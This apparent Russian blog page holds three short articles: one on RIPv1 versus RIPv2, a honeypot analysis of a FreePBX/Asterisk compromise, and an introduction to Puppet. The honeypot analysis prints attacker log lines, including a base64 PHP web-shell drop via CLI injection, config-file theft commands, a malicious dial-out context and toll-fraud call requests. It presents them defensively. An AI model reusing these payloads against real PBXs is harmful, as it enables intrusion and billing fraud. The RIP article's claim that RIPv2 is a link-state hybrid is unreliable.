По вашему запросу ничего не найдено :(
Убедитесь, что запрос написан правильно, или посмотрите другие
наши статьи:
Привет, бро! В статье расскажем в чем разница между RIPv1 (Routing Information Protocol Version 1) и его продолжение RIPv2. Погнали?
Про Routing Information Protocol Version 1 (RIPv1)
Прямо и по пунктам:
RIPv1 это Distance-Vector протокол. Если переводить на русский - дистанционно-векторный. ;
Distance vector routing - так называемая дистанционно-векторная маршрутизация, главный принцип которой основан на вычислении специальных метрик, которые определяют расстояние (количество узлов) до сети назначения
RIPv1 это classfull протокол. Это означает, что он не отправляет маску подсети в апдейтах маршрутизации;
RIPv1 не поддерживает VLSM (Variable Length Subnet Masking);
VLSM (Variable Length Subnet Masking) - метод эффективного использования IP – адресации, который избавляет от привязки к классу сети (класс A, класс B, класс C). VLSM позволяет дробить подсеть на подсеть и так далее. Тем самым, мы можем эффективно использовать адресное пространство согласно реальных потребностей, а не класса сети;
RIPv1 поддерживает максимум 15 хопов! Это означает, что любой маршрутизатор, который расположен от вас в больше, чем 15 узлов (маршрутизаторов) будет отмечен как недоступный;
Раз в 30 секунд RIPv1 отправляет широковещательные апдейты маршрутизации – каждый узел должен принять и обработать этот апдейт;
Первая версия RIP не поддерживает авторизация апдейтов маршрутизации – это означает, что потенциально, роутер может обновить таблицу маршрутизации от любого источника;
Вот такой он, RIP первой версии. Двигаем дальше и посмотрим, а на что способен его брат – RIP второй версии?
Про Routing Information Protocol Version 2 (RIPv2)
RIPv2 это гибридный протокол. Он реализован на базе Distance-Vector, но так же поддерживает часть алгоритмов Link State маршрутизации, то есть, может отслеживать состояние каналов;
Link State routing - отслеживает состояние каналов и отправляет LSA (Link-state advertisement) пакеты, в которых рассказывает о состоянии своих каналов. Примером link state протокола маршрутизации является OSPF
RIPv2 - classless протокол. В отличие от своего старшего брата первой версии, второая версия умеет отправлять маску подсети в апдейтах маршрутизации;
RIPv2 поддерживает VLSM!;
RIPv2, как и RIPv1 поддерживает максимум 15 хопов;
RIPv2 отправляет мультикаст сообщения об апдейтах на адрес 224.0.0.9. Это уменьшает нагрузку на сеть и в первую очередь на узлы, на которых не запущен RIP;
Вторая версия RIP поддерживает аутентификацию апдейтов маршрутизации. Это значит, что теперь нельзя будет подсунуть ложный апдейт роутеру (в целом, этим могли пользоваться злоумышленники) – только авторизированные источники;
Привет друг! Ты наверняка слышал что-то про взлом IP-АТС, когда злоумышленники звонят в другие страны по международной связи, а жертве приходит большой счёт от провайдера. К большому сожалению – это правда и сейчас я по косточкам разберу метод такой атаки на IP-АТС Asterisk с графической оболочкой FreePBX, который позволяет плохим парням бесчестно наживаться на чужих ошибках, чтобы ты мог защитить себя и не стать очередной жертвой, за счёт которой позвонили в Сомали.
TL;DR: Графический интерфейс FreePBX имеет уязвимости удаленного исполнения кода (RCE – Remote Code Execution), в различных компонентах. Вот некоторые из них:
CVE-2014-7235 – Уязвимость в ARI Framework (Asterisk Recording Interface - ARI) в FreePBX версий 2.9.0.9, 2.10.x, и 2.11 до 2.11.1.5.
SEC-2016-004 - Уязвимость с модулях Hotel Wakeup (все версии между 13.0.1alpha2 и 13.0.14) и System Recordings (все версии между 13.0.1beta1 и 13.0.26)
CVE-2019-19006 (SEC-2019-001) – Уязвимость Framework FreePBX в версиях ниже v13.0.197.13, v14.0.13.11 и v15.0.16.26
Все эти уязвимости позволяют удаленно обойти процесс аутентификации (ну то есть не надо вводить логин и пароль) и выполнять команды на сервере с проблемной версией софта. Злоумышленники используют данные уязвимости для совершения исходящих звонков через свой контекст. Это значит, что если ты оставишь вэб-морду FreePBX открытой всему Интернету (по умолчанию порт 80 HTTP, 443 HTTPS), то рано или поздно – за твой счёт позвонят другие.
Так что НИКОГДА не открывай доступ веб-интерфейсу своей IP-АТС для всего Интернета, и вообще старайся ограничивать доступ к любым портам. А также ВСЕГДА обращай внимание на уведомление об обнаруженных уязвимостях и своевременно устанавливай обновления безопасности на всех продуктах! Но если ты всё же решил оставить свой FreePBX с открытым web-портом и забить на обновления – читай что будет дальше.
Разведка (Reconnaisance)
Прежде чем достичь своей цели (позвонить за твой счёт) злоумышленникам нужно сначала отыскать твой открытый веб-интерфейс FreePBX в сети. Сделать это очень просто, нужно просканировать порты. Для нашей атаки ему нужно найти порт 80 (HTTP), 443 (HTTPS) ну или 8080. Именно на них обычно висит страничка с аутентификацией. Отлично, нашли кучу адресов с торчащим наружу нужным портом, но как понять, что там именно FreePBX с уязвимой версией софта? Есть несколько способов – можно бить по всему подряд в надежде, что сервер уязвим, можно написать скрипт, который будет собирать дополнительную информацию (так называемые баннеры) о версии FreePBX. По умолчанию – установленная версия отображается на той же страничке с окном аутентификации. Давайте откроем лог HTTP-обращений к нашему серверу (его можно найти вот тут: /var/log/httpd/access_log) и посмотрим, как действуют злоумышленники.
Чтобы воочию наблюдать за тем как нас ломают, мы создали, так называемую ловушку (Honeypot) – это намеренно непропатченный, уязвимый сервер для того чтобы изучать действия хакеров. Мы установили на него FreePBX 13 версии и выставили наружу вэб-интерфейс (открыли всему миру 80 и 443 порты)
Примерно через час после “открытия” нашей ловушки, мы увидели такую картину:
На картинке показаны обращения к ресурсам нашего сервера (11.22.33.44), ответы от него и User-Agent’ы, с которых осуществлялись обращения. Например, рассмотрим следующее обращение:
169.197.108.42 - - [30/May/2020:11:35:57 +0300] "GET /admin HTTP/1.1" 301 316 "https://11.22.33[.]44/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
Здесь:
169.197.108[.]42 – адрес, с которого осуществлялось обращение;
GET /admin - запрос страницы https://11.22.33[.]44/admin;
301 – ответ HTTP 302 (Moved Permanently – Перемещено навсегда). Ответ сервера, означающий, что запрашиваемый ресурс (страница https://11.22.33[.]44/admin ) был перемещен;
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" - User Agent Google Chrome версии 60 для Windows 10. Это значит, что для доступа к ресурсу https://11.22.33[.]44/admin был использован браузер Chrome.
Для большей наглядности, мы выделили счастливчиков, которые нашли то, что искали (им сервер ответил 200 ОК и вернул запрашиваемую информацию). В их числе:
169.197.108[.]42
198.108.66[.]192
45.143.221[.]50
173.212.225[.]214
45.143.220[.]111
Если присмотреться внимательнее, то можно увидеть, что все они нашли одно и то же - /admin/config.php, но давайте посмотрим на действия 173.212.225[.]214.
Обратите внимание, что он также пытается обращаться к ресурсам явно не относящимся к FreePBX (/vtigercrm/vtigerservice.php, /a2billing/admin/Public/index.php), а когда находит /admin/config.php , сразу же безуспешно пытается исполнить интересный скрипт:
/rr.php?yokyok=cat%20/etc/amportal.conf;%20cat%20/etc/asterisk/sip_additional.conf HTTP/1.1" 404 284 "-" "libwww-perl/6.42"
/admin/config.php?password%5B0%5D=BADR&username=admin HTTP/1.1" 500 53870 "-" "python-requests/2.22.0"
/admin/ajax.php?module=asterisk-cli&command=clicmd&data=channel%20originate%20local/*78@from-internal%20application%20system%20%22echo%20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg==%7C%20base64%20-d%20%3E%20/var/www/html/rr.php%22 HTTP/1.1" 403 43 "https://11.22.33.44:443//admin/config.php?display=cli" "python-requests/2.22.0"
/admin/config.php?password%5B0%5D=BADR&username=admin HTTP/1.1" 500 53870 "-" "python-requests/2.22.0"
Доставка (Delivery)
Эти обращения – есть ни что иное как попытка создания скрипта на нашей IP-АТС для совершения исходящих звонков. Однако хоть нас и обнаружили, злоумышленнику не удаётся обратиться к нужному компоненту – скрипту /rr.php, сервер отвечает сообщением HTTP 403 (Forbidden).
Обратите также внимание на User-agent’ы - python-requests/2.22.0 и libwww-perl/6.42. Это уже не просто браузеры, а WWW библиотеки Pearl и Python.
Позднее, кому-то на адресе 45.143.220[.]111 всё-таки удаётся создать /rr.php. Для этого используется уже немного другой User-Agent - "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1062.18.1.el7.x86_64".
Создание rr.php происходит после ввода:
"GET /admin/ajax.php?module=asterisk-cli&command=clicmd&data=channel%20originate%20local/*78@from-internal%20application%20system%20%22echo%20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg==%7C%20base64%20-d%20%3E%20/var/www/html/rr.php%22 HTTP/1.1" 200 32 "https://11.22.33[.]44//admin/config.php?display=cli" "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1062.18.1.el7.x86_64"
Само содержимое скрипта rr.php зашифровано по алгоритму base64 и скрыто вот в этой короткой строчке:
20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg
Вот дешифровка:
Этот небольшой php скрипт нам кладут в директорию /var/www/html/, а дальше начинается самое интересное. Заметили строчку config.php?display=cli? Да, злоумышленники успешно получили доступ к командной строке и теперь могут делать что душе угодно!
Обратите внимание на смену User Agent’а в 16:17:53 – "curl/7.29.0". Это значит, что кто-то через утилиту curl (скорее всего через ту самую командную строку) лезет куда-то ещё. Давайте выясним – зачем?
Инсталляция (Installation)
Для этого откроем другой лог /var/log/httpd/error_log и посмотрим, что происходило за время использования curl.
В глаза сразу же бросается обращение на Pastebin (сайт, куда можно загружать любой текст или код для просмотра всем желающим) по ссылке /raw/Dbnw6kqb. Перейдя по данной ссылке нас встречает уже знакомая кодировка base64, причём код зачем-то повторяется дважды:
Расшифруем:
Вся эта радость сохраняется по пути /var/www/html/badr.php
На самом деле, вариаций этого скрипта довольно много, иногда он скачивается по частям с разных сайтов, иногда в нём можно обнаружить попытки затирания свидетельств компрометации. Как видите, они весьма похожи и их суть довольно проста - украсть наш конфиг Amportal (всю конфигурацию FreePBX с паролями ARI и AMDB), чтобы затем подсунуть нам измененный файл /etc/amportal.conf и собственно создать вредоносный контекст, через который потом можно будет звонить.
Управление (Command & Control)
Мы, а точнее плохие парни, почти на финишной прямой. Помнишь про простенький вредоносный скрипт rr.php, который нам недавно подсунули? Самое время вернуться к нему!
Напомню – это простенький php-скрипт, который просит всего одну переменную - yokyok и позволяет передать в неё абсолютно любой параметр. Пользуясь этой замечательной возможностью, хакеры передают туда (время 16:17:51 и 54) измененный конфигурационный файл /etc/amportal.conf и изменённый файл /etc/asterisk/sip_additional.conf.
Как можно догадаться – в sip_additional.conf у нас теперь есть вредоносный контекст, который и позволит злоумышленникам звонить за наш счёт. Вот он:
[badr-outcall]; thankuohoh
exten => _.,1,Macro(user-callerid,LIMIT,EXTERNAL,); thankuohoh
exten => _.,n,Set(MOHCLASS=${IF($["${MOHCLASS}"=""]?default:${MOHCLASS})});
thankuohoh
exten => _.,n,Set(_NODEST=); thankuohoh
exten => _.,n,Macro(dialout-trunk,1,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(dialout-trunk,2,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(dialout-trunk,3,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(dialout-trunk,7,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(outisbusy,); thankuohoh
PROFIT (Actions on Objectives)
Ну чтож, как говорится:
Как ты, наверное, уже понял – звонить они тоже будут через rr.php и yokyok. Захотели позвонить в Уганду или на Сейшельские острова? Пожалуйста:
45.143.220.111 - - [31/May/2020:16:25:14 +0300] "GET /rr.php?yokyok=cat%20/etc/asterisk/sip_additional.conf;%20/usr/sbin/asterisk%20-rx%20'channel%20originate%20Local/810256207815086@thanku-outcall%20application%20wait%201600' HTTP/1.1" 200 16290 "-" "libwww-perl/6.05"
45.143.220.111 - - [31/May/2020:16:55:06 +0300] "GET /rr.php?yokyok=cat%20/etc/asterisk/sip_additional.conf;%20/usr/sbin/asterisk%20-rx%20'channel%20originate%20Local/8102486420077@thanku-outcall%20application%20wait%201600' HTTP/1.1" 200 16290 "-" "libwww-perl/6.05"
А ты потом будешь наблюдать в CDR Reports такую картинку и платить провайдеру по счетам:
Ну хоть “спасибо” сказали. Ты же заметил, как называется контекст, который нам сделали - thankuohoh? Жаль нельзя прослушать о чём они там говорили.. ?
Ну, а если не хочешь, чтобы и твой Asterisk тоже достался хакерам – скорее беги закрывать 443, 80, 8080 и устанавливать последние обновления безопасности!
PS: Кстати, нашу ловушку явно пробили через уязвимость CVE-2019-19006 (SEC-2019-001):
[SECURITY] (BMO/Notifications.class.php:507) - [NOTIFICATION]-[freepbx]-[VULNERABILITIES] - There is 1 module vulnerable to security threats (framework (Cur v. 13.0.195.4) should be upgraded to v. 13.0.197.14 to fix security issues: SEC-2019-001
[INFO] (bin/module_admin:631) - framework 13.0.195.4 Online upgrade available (13.0.197.14)
Управление компьютерными сетями - дело непростое. В последние годы всеобщая компьютеризация вызвала огромный скачок в расширении компьютерных сетей. Это добавило работы системному администратору. Ведь если ранее были распространены небольшие сети, то добавление и настройка новых устройств, либо обновление ПО на уже находящихся требовали ручной настройки операционной системы, а то и установки на каждом из них. Это требовало времени и нервов администратора. Сейчас же, когда сети насчитывают сотни, а то и тысячи машин, ручная настройка требует либо участия многих специалистов (а это порождает проблему плохой совместимости согласно человеческому фактору, каждый админ мыслит по-своему), либо очень долгого времени, если этим будет заниматься один специалист.
Такая проблема, с учетом технического прогресса, породила решение об автоматизации. На сегодняшний день существует специализированное программное обеспечение, которое позволяет присоединиться к удаленным машинам, и в автоматическом режиме произвести настройки операционной системы для корректной работы сети. Однако, как быть, если на нужных компьютерах в рамках одной сети установлены разные операционные системы? Ведь сейчас компьютеры под Linux, FreeBSD и Windows, объединенные в одну сеть - далеко не редкость. Поэтому одним из требований к управляющей программе стала кроссплатформенность. В этом случае одним из самых эффективных решений является такая программа, как Puppet.
Puppet это один из самых нужных инструментов сетевого администратора. Это приложение создано специально для управления конфигурацией операционных систем внутри одной сети. Оно имеет клиент-серверную архитектуру, то есть администратор, находящийся за сервером, может отправлять данные конфигурации на периферийные машины, на которых установлена клиентская часть. На этих рабочих станциях система в автоматическом режиме сконфигурирует себя в соответствии с присланными с сервера настройками.
Важным моментом является кроссплатформенность. Простота настройки и управления самыми распространенными операционными системами делает Puppet одним из самых актуальных решений по управлению компьютерными сетями на сегодняшний день.
Как же работает Puppet? Разберем подробнее. Для начала, на сервер нужно установить серверную часть программы. Поскольку приложение написано на Ruby, на серверной рабочей станции обязательно должна быть установлена нужная программная среда.
Серверная часть программы создана для хранения манифестов так в программной терминологии Puppet называются файлы с настройками конфигурации. В процессе работы сервер принимает обращения с клиентских машин и автоматически отсылает им обновленные файлы конфигурирования ОС для работы в сети.
На клиентских компьютерах также должно быть установлено программное обеспечение Puppet, уже в виде клиентской части. Как правило, данные установочные пакеты включаются в саму операционную систему, что позволяет быстро развертывать компьютерную сеть, однако, в случае их отсутствия, придется скачивать необходимую сборку с сайта разработчика.
Дополнительное удобство данного решения в том, что один администратор с помощью сервера может осуществить настройку и управление сотен и тысяч машин, объединенных в сеть. Если возникнут какие-то проблемы, то отклик с мест позволит админу быстро поправить код и устранить их. Хотя в данном случае возрастают требования к внимательности админа - одна неверно написанная строка кода конфигурации может привести к неполадкам по всей сети. Хотя, если разобраться, в данном случае можно запустить работающий манифест предыдущей сборки и восстановить все достаточно оперативно.